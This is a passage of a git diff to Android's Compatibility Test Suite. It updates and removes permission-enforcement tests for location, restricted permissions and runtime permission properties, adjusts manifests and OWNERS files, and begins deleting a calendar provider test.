-     * @param provider the String provider name.
-     */
-    private void checkRequestLocationUpdates(String provider) {
-        if (!isKnownLocationProvider(provider)) {
-            // skip this test if the provider is unknown
-            return;
-        }
-
-        LocationListener mockListener = new MockLocationListener();
-        Looper looper = Looper.myLooper();
-        try {
-            mLocationManager.requestLocationUpdates(provider, 0, 0, mockListener);
-            fail("LocationManager.requestLocationUpdates did not" +
-                    " throw SecurityException as expected");
-        } catch (SecurityException e) {
-            // expected
-        }
-
-        try {
-            mLocationManager.requestLocationUpdates(provider, 0, 0, mockListener, looper);
-            fail("LocationManager.requestLocationUpdates did not" +
-                    " throw SecurityException as expected");
-        } catch (SecurityException e) {
-            // expected
-        }
-    }
-
-    /**
-     * Verify that listening for network requires permissions.
-     * <p>
-     * Requires Permission:
-     * {@link android.Manifest.permission#ACCESS_FINE_LOCATION}.
-     */
-    @UiThreadTest
-    public void testRequestLocationUpdatesNetwork() {
-        checkRequestLocationUpdates(LocationManager.NETWORK_PROVIDER);
-    }
-
-    /**
-     * Verify that listening for GPS location requires permissions.
-     * <p>
-     * Requires Permission:
-     * {@link android.Manifest.permission#ACCESS_FINE_LOCATION}.
-     */
-    @UiThreadTest
-    public void testRequestLocationUpdatesGps() {
-        checkRequestLocationUpdates(LocationManager.GPS_PROVIDER);
-    }
-
-    /**
-     * Verify that adding a proximity alert requires permissions.
-     * <p>
-     * Requires Permission:
-     * {@link android.Manifest.permission#ACCESS_FINE_LOCATION}.
-     */
-    @SmallTest
-    public void testAddProximityAlert() {
-        PendingIntent mockPendingIntent = PendingIntent.getBroadcast(mContext,
-                0, new Intent("mockIntent"), PendingIntent.FLAG_ONE_SHOT);
-        try {
-            mLocationManager.addProximityAlert(0, 0, 100, -1, mockPendingIntent);
-            fail("LocationManager.addProximityAlert did not throw SecurityException as expected");
-        } catch (SecurityException e) {
-            // expected
-        }
-    }
-
-    /**
-     * Helper method to verify that calling getLastKnownLocation with given
-     * provider throws SecurityException.
-     * 
-     * @param provider the String provider name.
-     */
-    private void checkGetLastKnownLocation(String provider) {
-        if (!isKnownLocationProvider(provider)) {
-            // skip this test if the provider is unknown
-            return;
-        }
-
-        try {
-            mLocationManager.getLastKnownLocation(provider);
-            fail("LocationManager.getLastKnownLocation did not" +
-                    " throw SecurityException as expected");
-        } catch (SecurityException e) {
-            // expected
-        }
-    }
-
-    /**
-     * Verify that getting the last known GPS location requires permissions.
-     * <p>
-     * Requires Permission:
-     * {@link android.Manifest.permission#ACCESS_FINE_LOCATION}.
-     */
-    @SmallTest
-    public void testGetLastKnownLocationGps() {
-        checkGetLastKnownLocation(LocationManager.GPS_PROVIDER);
-    }
-
-    /**
-     * Verify that getting the last known network location requires permissions.
-     * <p>
-     * Requires Permission:
-     * {@link android.Manifest.permission#ACCESS_FINE_LOCATION}.
-     */
-    @SmallTest
-    public void testGetLastKnownLocationNetwork() {
-        checkGetLastKnownLocation(LocationManager.NETWORK_PROVIDER);
-    }
-
-    /**
-     * Helper method to verify that calling getProvider with given provider
-     * throws SecurityException.
-     * 
-     * @param provider the String provider name.
-     */
-    private void checkGetProvider(String provider) {
-        if (!isKnownLocationProvider(provider)) {
-            // skip this test if the provider is unknown
-            return;
-        }
-
-        try {
-            mLocationManager.getProvider(provider);
-            fail("LocationManager.getProvider did not throw SecurityException as expected");
-        } catch (SecurityException e) {
-            // expected
-        }
-    }
-
-    /**
-     * Verify that getting the GPS provider requires permissions.
-     * <p>
-     * Requires Permission:
-     * {@link android.Manifest.permission#ACCESS_FINE_LOCATION}.
-     */
-    @SmallTest
-    public void testGetProviderGps() {
-        checkGetProvider(LocationManager.GPS_PROVIDER);
-    }
-
-    /**
-     * Verify that getting the network provider requires permissions.
-     * <p>
-     * Requires Permission:
-     * {@link android.Manifest.permission#ACCESS_COARSE_LOCATION}.
-     */
-    // TODO: remove from small test suite until network provider can be enabled
-    // on test devices
-    // @SmallTest
-    public void testGetProviderNetwork() {
-        checkGetProvider(LocationManager.NETWORK_PROVIDER);
-    }
-
-    /**
-     * Helper method to verify that calling
-     * {@link LocationManager#isProviderEnabled(String)} with given
-     * provider completes without an exception. (Note that under the conditions
-     * of these tests, that method threw SecurityException on OS levels before
-     * {@link android.os.Build.VERSION_CODES#LOLLIPOP}. See the method's javadoc for
-     * details.)
-     *
-     * @param provider the String provider name.
-     */
-    private void checkIsProviderEnabled(String provider) {
-        if (!isKnownLocationProvider(provider)) {
-            // skip this test if the provider is unknown
-            return;
-        }
-        mLocationManager.isProviderEnabled(provider);
-    }
-
-    /**
-     * Verify that checking IsProviderEnabled for GPS requires permissions.
-     * <p>
-     * Requires Permission:
-     * {@link android.Manifest.permission#ACCESS_FINE_LOCATION}.
-     */
-    @SmallTest
-    public void testIsProviderEnabledGps() {
-        checkIsProviderEnabled(LocationManager.GPS_PROVIDER);
-    }
-
-    /**
-     * Verify that checking IsProviderEnabled for network requires permissions.
-     * <p>
-     * Requires Permission:
-     * {@link android.Manifest.permission#ACCESS_FINE_LOCATION}.
-     */
-    @SmallTest
-    public void testIsProviderEnabledNetwork() {
-        checkIsProviderEnabled(LocationManager.NETWORK_PROVIDER);
-    }
-
-    /**
-     * Verify that checking addTestProvider for network requires permissions.
-     * <p>
-     * Requires Permission:
-     * {@link android.Manifest.permission#ACCESS_MOCK_LOCATION}.
-     */
-    @SmallTest
-    public void testAddTestProvider() {
-        final int TEST_POWER_REQUIREMENT_VALE = 0;
-        final int TEST_ACCURACY_VALUE = 1;
-
-        try {
-            mLocationManager.addTestProvider(TEST_PROVIDER_NAME, true, true, true, true,
-                    true, true, true, TEST_POWER_REQUIREMENT_VALE, TEST_ACCURACY_VALUE);
-            fail("LocationManager.addTestProvider did not throw SecurityException as expected");
-        } catch (SecurityException e) {
-            // expected
-        }
-    }
-
-    /**
-     * Verify that checking removeTestProvider for network requires permissions.
-     * <p>
-     * Requires Permission:
-     * {@link android.Manifest.permission#ACCESS_MOCK_LOCATION}.
-     */
-    @SmallTest
-    public void testRemoveTestProvider() {
-        try {
-            mLocationManager.removeTestProvider(TEST_PROVIDER_NAME);
-            fail("LocationManager.removeTestProvider did not throw SecurityException as"
-                    + " expected");
-        } catch (SecurityException e) {
-            // expected
-        }
-    }
-
-    /**
-     * Verify that checking setTestProviderLocation for network requires
-     * permissions.
-     * <p>
-     * Requires Permission:
-     * {@link android.Manifest.permission#ACCESS_MOCK_LOCATION}.
-     */
-    @SmallTest
-    public void testSetTestProviderLocation() {
-        Location location = new Location(TEST_PROVIDER_NAME);
-        location.makeComplete();
-
-        try {
-            mLocationManager.setTestProviderLocation(TEST_PROVIDER_NAME, location);
-            fail("LocationManager.setTestProviderLocation did not throw SecurityException as"
-                    + " expected");
-        } catch (SecurityException e) {
-            // expected
-        }
-    }
-
-    /**
-     * Verify that checking setTestProviderEnabled requires permissions.
-     * <p>
-     * Requires Permission:
-     * {@link android.Manifest.permission#ACCESS_MOCK_LOCATION}.
-     */
-    @SmallTest
-    public void testSetTestProviderEnabled() {
-        try {
-            mLocationManager.setTestProviderEnabled(TEST_PROVIDER_NAME, true);
-            fail("LocationManager.setTestProviderEnabled did not throw SecurityException as"
-                    + " expected");
-        } catch (SecurityException e) {
-            // expected
-        }
-    }
-
-    /**
-     * Verify that checking clearTestProviderEnabled requires permissions.
-     * <p>
-     * Requires Permission:
-     * {@link android.Manifest.permission#ACCESS_MOCK_LOCATION}.
-     */
-    @SmallTest
-    public void testClearTestProviderEnabled() {
-        try {
-            mLocationManager.clearTestProviderEnabled(TEST_PROVIDER_NAME);
-            fail("LocationManager.setTestProviderEnabled did not throw SecurityException as"
-                    + " expected");
-        } catch (SecurityException e) {
-            // expected
-        }
-    }
-
-    private static class MockLocationListener implements LocationListener {
-        public void onLocationChanged(Location location) {
-            // ignore
-        }
-
-        public void onProviderDisabled(String provider) {
-            // ignore
-        }
-
-        public void onProviderEnabled(String provider) {
-            // ignore
-        }
-
-        public void onStatusChanged(String provider, int status, Bundle extras) {
-            // ignore
-        }
-    }
-}
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 9e09a7b..954c61e 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -402,6 +402,12 @@
                 case "runtime": {
                     protectionLevel |= PermissionInfo.PROTECTION_FLAG_RUNTIME_ONLY;
                 } break;
+                case "telephony": {
+                    protectionLevel |= PermissionInfo.PROTECTION_FLAG_TELEPHONY;
+                } break;
+                case "wifi": {
+                    protectionLevel |= PermissionInfo.PROTECTION_FLAG_WIFI;
+                } break;
             }
         }
         return protectionLevel;
diff --git a/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java b/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
index 197e73d..ebbd40b 100644
--- a/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
@@ -65,7 +65,7 @@
         "android.net.wifi.p2p.THIS_DEVICE_CHANGED",
         "android.net.wifi.p2p.PEERS_CHANGED",
         "android.net.wifi.p2p.CONNECTION_STATE_CHANGE",
-        "android.net.wifi.p2p.PERSISTENT_GROUPS_CHANGED",
+        "android.net.wifi.p2p.action.WIFI_P2P_PERSISTENT_GROUPS_CHANGED",
         "android.net.conn.TETHER_STATE_CHANGED",
         "android.net.conn.INET_CONDITION_ACTION",
         "android.net.conn.CAPTIVE_PORTAL_TEST_COMPLETED",
diff --git a/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java b/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
index e6b4256..e20b2af 100644
--- a/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
@@ -16,6 +16,8 @@
 
 package android.permission2.cts;
 
+import static android.Manifest.permission.ACCESS_BACKGROUND_LOCATION;
+import static android.Manifest.permission.ACCESS_FINE_LOCATION;
 import static android.Manifest.permission.READ_SMS;
 import static android.permission.cts.PermissionUtils.eventually;
 import static android.permission.cts.PermissionUtils.isGranted;
@@ -59,6 +61,7 @@
 import java.io.FileInputStream;
 import java.io.InputStream;
 import java.io.OutputStream;
+import java.util.Arrays;
 import java.util.Collections;
 import java.util.Set;
 import java.util.concurrent.CountDownLatch;
@@ -221,28 +224,32 @@
     @Test
     @AppModeFull
     public void testLocationBackgroundPermissionWhitelistedAtInstall29() throws Exception {
-        installApp(APK_USES_LOCATION_29, null, null);
+        installApp(APK_USES_LOCATION_29, null, new ArraySet<>(Arrays.asList(ACCESS_FINE_LOCATION,
+                ACCESS_BACKGROUND_LOCATION)));
         assertAllRestrictedPermissionWhitelisted();
     }
 
     @Test
     @AppModeFull
     public void testLocationBackgroundPermissionNotWhitelistedAtInstall29() throws Exception {
-        installApp(APK_USES_LOCATION_29, Collections.EMPTY_SET, null);
+        installApp(APK_USES_LOCATION_29, Collections.emptySet(),
+                Collections.singleton(ACCESS_FINE_LOCATION));
         assertNoRestrictedPermissionWhitelisted();
     }
 
     @Test
     @AppModeFull
     public void testLocationBackgroundPermissionWhitelistedAtInstall22() throws Exception {
-        installApp(APK_USES_LOCATION_22, null, null);
+        installApp(APK_USES_LOCATION_22, null, new ArraySet<>(Arrays.asList(ACCESS_FINE_LOCATION,
+                ACCESS_BACKGROUND_LOCATION)));
         assertAllRestrictedPermissionWhitelisted();
     }
 
     @Test
     @AppModeFull
     public void testLocationBackgroundPermissionNotWhitelistedAtInstall22() throws Exception {
-        installApp(APK_USES_LOCATION_22, Collections.EMPTY_SET, null);
+        installApp(APK_USES_LOCATION_22, Collections.emptySet(),
+                Collections.singleton(ACCESS_FINE_LOCATION));
         assertNoRestrictedPermissionWhitelisted();
     }
 
@@ -914,20 +921,15 @@
 
     private @NonNull Set<String> getPermissionsOfAppWithAnyOfFlags(int flags) throws Exception {
         final PackageManager packageManager = getContext().getPackageManager();
-
-        final PackageInfo packageInfo = packageManager.getPackageInfo(PKG,
-                PackageManager.GET_PERMISSIONS);
-
-        final Set<String> hardRestrictedPermissions = new ArraySet<>();
-        for (String permission : packageInfo.requestedPermissions) {
+        final Set<String> restrictedPermissions = new ArraySet<>();
+        for (String permission : getRequestedPermissionsOfApp()) {
             PermissionInfo permInfo = packageManager.getPermissionInfo(permission, 0);
 
             if ((permInfo.flags & flags) != 0) {
-                hardRestrictedPermissions.add(permission);
+                restrictedPermissions.add(permission);
             }
         }
-
-        return hardRestrictedPermissions;
+        return restrictedPermissions;
     }
 
     private @NonNull Set<String> getRestrictedPermissionsOfApp() throws Exception {
@@ -935,6 +937,13 @@
                 PermissionInfo.FLAG_HARD_RESTRICTED | PermissionInfo.FLAG_SOFT_RESTRICTED);
     }
 
+    private @NonNull String[] getRequestedPermissionsOfApp() throws Exception {
+        final PackageManager packageManager = getContext().getPackageManager();
+        final PackageInfo packageInfo = packageManager.getPackageInfo(PKG,
+                PackageManager.GET_PERMISSIONS);
+        return packageInfo.requestedPermissions;
+    }
+
     private void assertAllRestrictedPermissionWhitelisted() throws Exception {
         assertRestrictedPermissionWhitelisted(getRestrictedPermissionsOfApp());
     }
@@ -999,7 +1008,7 @@
                             possibleModes.add(AppOpsManager.MODE_IGNORED);
                         }
                     } else {
-                        possibleModes.add(AppOpsManager.MODE_DEFAULT);
+                        possibleModes.add(AppOpsManager.MODE_IGNORED);
                     }
                 }
 
@@ -1120,6 +1129,8 @@
             for (String permission : adjustedGrantedPermissions) {
                 packageManager.grantRuntimePermission(PKG, permission,
                         getContext().getUser());
+                packageManager.updatePermissionFlags(permission, PKG,
+                        PackageManager.FLAG_PERMISSION_REVOKED_COMPAT, 0, getContext().getUser());
             }
         });
 
@@ -1127,7 +1138,7 @@
         // applied until reviewed
         runWithShellPermissionIdentity(() -> {
             final PackageManager packageManager = getContext().getPackageManager();
-            for (String permission : getRestrictedPermissionsOfApp()) {
+            for (String permission : getRequestedPermissionsOfApp()) {
                 packageManager.updatePermissionFlags(permission, PKG,
                         PackageManager.FLAG_PERMISSION_REVIEW_REQUIRED, 0,
                         getContext().getUser());
diff --git a/tests/tests/permission2/src/android/permission2/cts/RuntimePermissionProperties.kt b/tests/tests/permission2/src/android/permission2/cts/RuntimePermissionProperties.kt
new file mode 100644
index 0000000..e84e3af
--- /dev/null
+++ b/tests/tests/permission2/src/android/permission2/cts/RuntimePermissionProperties.kt
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission2.cts
+
+import android.Manifest.permission.ACCEPT_HANDOVER
+import android.Manifest.permission.ACCESS_COARSE_LOCATION
+import android.Manifest.permission.ACCESS_FINE_LOCATION
+import android.Manifest.permission.ACTIVITY_RECOGNITION
+import android.Manifest.permission.ADD_VOICEMAIL
+import android.Manifest.permission.ANSWER_PHONE_CALLS
+import android.Manifest.permission.BODY_SENSORS
+import android.Manifest.permission.CALL_PHONE
+import android.Manifest.permission.CAMERA
+import android.Manifest.permission.GET_ACCOUNTS
+import android.Manifest.permission.PROCESS_OUTGOING_CALLS
+import android.Manifest.permission.READ_CALENDAR
+import android.Manifest.permission.READ_CALL_LOG
+import android.Manifest.permission.READ_CELL_BROADCASTS
+import android.Manifest.permission.READ_CONTACTS
+import android.Manifest.permission.READ_EXTERNAL_STORAGE
+import android.Manifest.permission.READ_PHONE_NUMBERS
+import android.Manifest.permission.READ_PHONE_STATE
+import android.Manifest.permission.READ_SMS
+import android.Manifest.permission.RECEIVE_MMS
+import android.Manifest.permission.RECEIVE_SMS
+import android.Manifest.permission.RECEIVE_WAP_PUSH
+import android.Manifest.permission.RECORD_AUDIO
+import android.Manifest.permission.SEND_SMS
+import android.Manifest.permission.USE_SIP
+import android.Manifest.permission.WRITE_CALENDAR
+import android.Manifest.permission.WRITE_CALL_LOG
+import android.Manifest.permission.WRITE_CONTACTS
+import android.Manifest.permission.WRITE_EXTERNAL_STORAGE
+import android.Manifest.permission_group.UNDEFINED
+import android.app.AppOpsManager.permissionToOp
+import android.content.pm.PackageManager.GET_PERMISSIONS
+import android.content.pm.PermissionInfo.PROTECTION_DANGEROUS
+import android.content.pm.PermissionInfo.PROTECTION_FLAG_APPOP
+import android.os.Build
+import android.permission.PermissionManager
+import androidx.test.platform.app.InstrumentationRegistry
+import androidx.test.runner.AndroidJUnit4
+import com.google.common.truth.Truth.assertThat
+import org.junit.Test
+import org.junit.runner.RunWith
+
+@RunWith(AndroidJUnit4::class)
+class RuntimePermissionProperties {
+    private val context = InstrumentationRegistry.getInstrumentation().getTargetContext()
+    private val pm = context.packageManager
+
+    private val platformPkg = pm.getPackageInfo("android", GET_PERMISSIONS)
+    private val platformRuntimePerms = platformPkg.permissions
+            .filter { it.protection == PROTECTION_DANGEROUS }
+    private val platformBgPermNames = platformRuntimePerms.mapNotNull { it.backgroundPermission }
+
+    @Test
+    fun allRuntimeForegroundPermissionNeedAnAppOp() {
+        val platformFgPerms =
+            platformRuntimePerms.filter { !platformBgPermNames.contains(it.name) }
+
+        for (perm in platformFgPerms) {
+            assertThat(permissionToOp(perm.name)).named("AppOp for ${perm.name}").isNotNull()
+        }
+    }
+
+    @Test
+    fun groupOfRuntimePermissionsShouldBeUnknown() {
+        for (perm in platformRuntimePerms) {
+            assertThat(perm.group).named("Group of ${perm.name}").isEqualTo(UNDEFINED)
+        }
+    }
+
+    @Test
+    fun allAppOpPermissionNeedAnAppOp() {
+        val platformAppOpPerms = platformPkg.permissions
+                .filter { (it.protectionFlags and PROTECTION_FLAG_APPOP) != 0 }
+
+        for (perm in platformAppOpPerms) {
+            assertThat(permissionToOp(perm.name)).named("AppOp for ${perm.name}").isNotNull()
+        }
+    }
+
+    /**
+     * The permission of a background permission is the one of its foreground permission
+     */
+    @Test
+    fun allRuntimeBackgroundPermissionCantHaveAnAppOp() {
+        val platformBgPerms =
+            platformRuntimePerms.filter { platformBgPermNames.contains(it.name) }
+
+        for (perm in platformBgPerms) {
+            assertThat(permissionToOp(perm.name)).named("AppOp for ${perm.name}").isNull()
+        }
+    }
+
+    /**
+     * Commonly a new runtime permission is created by splitting an old one into twice
+     */
+    @Test
+    fun runtimePermissionsShouldHaveBeenSplitFromPreviousPermission() {
+        // Runtime permissions in Android P
+        val expectedPerms = mutableSetOf(READ_CONTACTS, WRITE_CONTACTS, GET_ACCOUNTS, READ_CALENDAR,
+            WRITE_CALENDAR, SEND_SMS, RECEIVE_SMS, READ_SMS, RECEIVE_MMS, RECEIVE_WAP_PUSH,
+            READ_CELL_BROADCASTS, READ_EXTERNAL_STORAGE, WRITE_EXTERNAL_STORAGE,
+            ACCESS_FINE_LOCATION, ACCESS_COARSE_LOCATION, READ_CALL_LOG, WRITE_CALL_LOG,
+            PROCESS_OUTGOING_CALLS, READ_PHONE_STATE, READ_PHONE_NUMBERS, CALL_PHONE,
+            ADD_VOICEMAIL, USE_SIP, ANSWER_PHONE_CALLS, ACCEPT_HANDOVER, RECORD_AUDIO, CAMERA,
+            BODY_SENSORS)
+
+        // Add permission split since P
+        for (sdkVersion in Build.VERSION_CODES.P + 1..Build.VERSION_CODES.CUR_DEVELOPMENT + 1) {
+            for (splitPerm in
+                context.getSystemService(PermissionManager::class.java)!!.splitPermissions) {
+                if (splitPerm.targetSdk == sdkVersion &&
+                    expectedPerms.contains(splitPerm.splitPermission)) {
+                    expectedPerms.addAll(splitPerm.newPermissions)
+                }
+            }
+        }
+
+        // Add runtime permission added in Q which were _not_ split from a previously existing
+        // runtime permission
+        expectedPerms.add(ACTIVITY_RECOGNITION)
+
+        assertThat(expectedPerms).containsExactlyElementsIn(platformRuntimePerms.map { it.name })
+    }
+}
diff --git a/tests/tests/preference/AndroidTest.xml b/tests/tests/preference/AndroidTest.xml
index b3c7a96..625ff4d 100644
--- a/tests/tests/preference/AndroidTest.xml
+++ b/tests/tests/preference/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/preference/OWNERS b/tests/tests/preference/OWNERS
index 827134e..0ea8182 100644
--- a/tests/tests/preference/OWNERS
+++ b/tests/tests/preference/OWNERS
@@ -1,3 +1,4 @@
+# Bug component: 25700
 lpf@google.com
 pavlis@google.com
 clarabayarri@google.com
diff --git a/tests/tests/provider/AndroidManifest.xml b/tests/tests/provider/AndroidManifest.xml
index 9417e3f..512a02f 100644
--- a/tests/tests/provider/AndroidManifest.xml
+++ b/tests/tests/provider/AndroidManifest.xml
@@ -26,8 +26,6 @@
     <uses-permission android:name="android.permission.USE_CREDENTIALS" />
     <uses-permission android:name="android.permission.READ_SYNC_SETTINGS" />
     <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS" />
-    <uses-permission android:name="android.permission.WRITE_CALENDAR" />
-    <uses-permission android:name="android.permission.READ_CALENDAR" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.WRITE_SETTINGS" />
@@ -54,17 +52,6 @@
             </intent-filter>
         </activity>
 
-        <service android:name="android.provider.cts.contacts.account.MockAccountService"
-                 process="android.provider.cts"
-                 android:exported="true">
-            <intent-filter>
-                <action android:name="android.accounts.AccountAuthenticator"/>
-            </intent-filter>
-
-            <meta-data android:name="android.accounts.AccountAuthenticator"
-                       android:resource="@xml/contactprovider_authenticator"/>
-        </service>
-
         <service android:name=".MockInputMethodService"
                  android:label="UserDictionaryInputMethodTestService"
                  android:permission="android.permission.BIND_INPUT_METHOD">
@@ -75,14 +62,6 @@
                        android:resource="@xml/method" />
         </service>
 
-        <provider
-            android:name=".contacts.DummyGalProvider"
-            android:authorities="android.provider.cts.contacts.dgp"
-            android:exported="true"
-            android:readPermission="android.permission.BIND_DIRECTORY_SEARCH" >
-            <meta-data android:name="android.content.ContactDirectory" android:value="true" />
-        </provider>
-
         <provider android:name="android.provider.cts.MockFontProvider"
                   android:authorities="android.provider.fonts.cts.font"
                   android:exported="false"
@@ -143,10 +122,5 @@
         <meta-data android:name="listener"
             android:value="com.android.cts.runner.CtsTestRunListener" />
     </instrumentation>
-
-    <instrumentation android:name="android.provider.cts.CalendarTest$CalendarEmmaTestRunner"
-                     android:targetPackage="android.provider.cts"
-                     android:label="Augmented CTS tests of Calendar provider"/>
-
 </manifest>
 
diff --git a/tests/tests/provider/OWNERS b/tests/tests/provider/OWNERS
new file mode 100644
index 0000000..fea932d
--- /dev/null
+++ b/tests/tests/provider/OWNERS
@@ -0,0 +1,7 @@
+# Bug component: 1344
+jsharkey@android.com
+omakoto@google.com
+yamasani@google.com
+tgunn@google.com
+nicksauer@google.com
+nona@google.com
diff --git a/tests/tests/provider/res/raw/iso88591_11.mp3 b/tests/tests/provider/res/raw/iso88591_11.mp3
new file mode 100644
index 0000000..3760238
--- /dev/null
+++ b/tests/tests/provider/res/raw/iso88591_11.mp3
Binary files differ
diff --git a/tests/tests/provider/src/android/provider/cts/CalendarTest.java b/tests/tests/provider/src/android/provider/cts/CalendarTest.java
deleted file mode 100644
index fcd873a..0000000
--- a/tests/tests/provider/src/android/provider/cts/CalendarTest.java
+++ /dev/null
@@ -1,3798 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.BroadcastReceiver;
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.content.Entity;
-import android.content.EntityIterator;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.Environment;
-import android.provider.CalendarContract;
-import android.provider.CalendarContract.Attendees;
-import android.provider.CalendarContract.CalendarEntity;
-import android.provider.CalendarContract.Calendars;
-import android.provider.CalendarContract.Colors;
-import android.provider.CalendarContract.Events;
-import android.provider.CalendarContract.EventsEntity;
-import android.provider.CalendarContract.ExtendedProperties;
-import android.provider.CalendarContract.Instances;
-import android.provider.CalendarContract.Reminders;
-import android.provider.CalendarContract.SyncState;
-import android.test.InstrumentationTestCase;
-import android.test.suitebuilder.annotation.MediumTest;
-import android.text.TextUtils;
-import android.text.format.DateUtils;
-import android.text.format.Time;
-import android.util.Log;
-
-import com.android.compatibility.common.util.PollingCheck;
-
-import java.util.ArrayList;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-
-public class CalendarTest extends InstrumentationTestCase {
-
-    private static final String TAG = "CalCTS";
-    private static final String CTS_TEST_TYPE = "LOCAL";
-
-    // an arbitrary int used by some tests
-    private static final int SOME_ARBITRARY_INT = 143234;
-
-    // 15 sec timeout for reminder broadcast (but shouldn't usually take this long).
-    private static final int POLLING_TIMEOUT = 15000;
-
-    // @formatter:off
-    private static final String[] TIME_ZONES = new String[] {
-            "UTC",
-            "America/Los_Angeles",
-            "Asia/Beirut",
-            "Pacific/Auckland", };
-    // @formatter:on
-
-    private static final String SQL_WHERE_ID = Events._ID + "=?";
-    private static final String SQL_WHERE_CALENDAR_ID = Events.CALENDAR_ID + "=?";
-
-    private ContentResolver mContentResolver;
-
-    /** If set, log verbose instance info when running recurrence tests. */
-    private static final boolean DEBUG_RECURRENCE = false;
-
-    private static class CalendarHelper {
-
-        // @formatter:off
-        public static final String[] CALENDARS_SYNC_PROJECTION = new String[] {
-                Calendars._ID,
-                Calendars.ACCOUNT_NAME,
-                Calendars.ACCOUNT_TYPE,
-                Calendars._SYNC_ID,
-                Calendars.CAL_SYNC7,
-                Calendars.CAL_SYNC8,
-                Calendars.DIRTY,
-                Calendars.NAME,
-                Calendars.CALENDAR_DISPLAY_NAME,
-                Calendars.CALENDAR_COLOR,
-                Calendars.CALENDAR_COLOR_KEY,
-                Calendars.CALENDAR_ACCESS_LEVEL,
-                Calendars.VISIBLE,
-                Calendars.SYNC_EVENTS,
-                Calendars.CALENDAR_LOCATION,
-                Calendars.CALENDAR_TIME_ZONE,
-                Calendars.OWNER_ACCOUNT,
-                Calendars.CAN_ORGANIZER_RESPOND,
-                Calendars.CAN_MODIFY_TIME_ZONE,
-                Calendars.MAX_REMINDERS,
-                Calendars.ALLOWED_REMINDERS,
-                Calendars.ALLOWED_AVAILABILITY,
-                Calendars.ALLOWED_ATTENDEE_TYPES,
-                Calendars.DELETED,
-                Calendars.CAL_SYNC1,
-                Calendars.CAL_SYNC2,
-                Calendars.CAL_SYNC3,
-                Calendars.CAL_SYNC4,
-                Calendars.CAL_SYNC5,
-                Calendars.CAL_SYNC6,
-                };
-        // @formatter:on
-
-        private CalendarHelper() {}     // do not instantiate this class
-
-        /**
-         * Generates the e-mail address for the Calendar owner.  Use this for
-         * Calendars.OWNER_ACCOUNT, Events.OWNER_ACCOUNT, and for Attendees.ATTENDEE_EMAIL
-         * when you want a "self" attendee entry.
-         */
-        static String generateCalendarOwnerEmail(String account) {
-            return "OWNER_" + account + "@example.com";
-        }
-
-        /**
-         * Creates a new set of values for creating a single calendar with every
-         * field.
-         *
-         * @param account The account name to create this calendar with
-         * @param seed A number used to generate the values
-         * @return A complete set of values for the calendar
-         */
-        public static ContentValues getNewCalendarValues(
-                String account, int seed) {
-            String seedString = Long.toString(seed);
-            ContentValues values = new ContentValues();
-            values.put(Calendars.ACCOUNT_TYPE, CTS_TEST_TYPE);
-
-            values.put(Calendars.ACCOUNT_NAME, account);
-            values.put(Calendars._SYNC_ID, "SYNC_ID:" + seedString);
-            values.put(Calendars.CAL_SYNC7, "SYNC_V:" + seedString);
-            values.put(Calendars.CAL_SYNC8, "SYNC_TIME:" + seedString);
-            values.put(Calendars.DIRTY, 0);
-            values.put(Calendars.OWNER_ACCOUNT, generateCalendarOwnerEmail(account));
-
-            values.put(Calendars.NAME, seedString);
-            values.put(Calendars.CALENDAR_DISPLAY_NAME, "DISPLAY_" + seedString);
-
-            values.put(Calendars.CALENDAR_ACCESS_LEVEL, (seed % 8) * 100);
-
-            values.put(Calendars.CALENDAR_COLOR, 0xff000000 + seed);
-            values.put(Calendars.VISIBLE, seed % 2);
-            values.put(Calendars.SYNC_EVENTS, 1);   // must be 1 for recurrence expansion
-            values.put(Calendars.CALENDAR_LOCATION, "LOCATION:" + seedString);
-            values.put(Calendars.CALENDAR_TIME_ZONE, TIME_ZONES[seed % TIME_ZONES.length]);
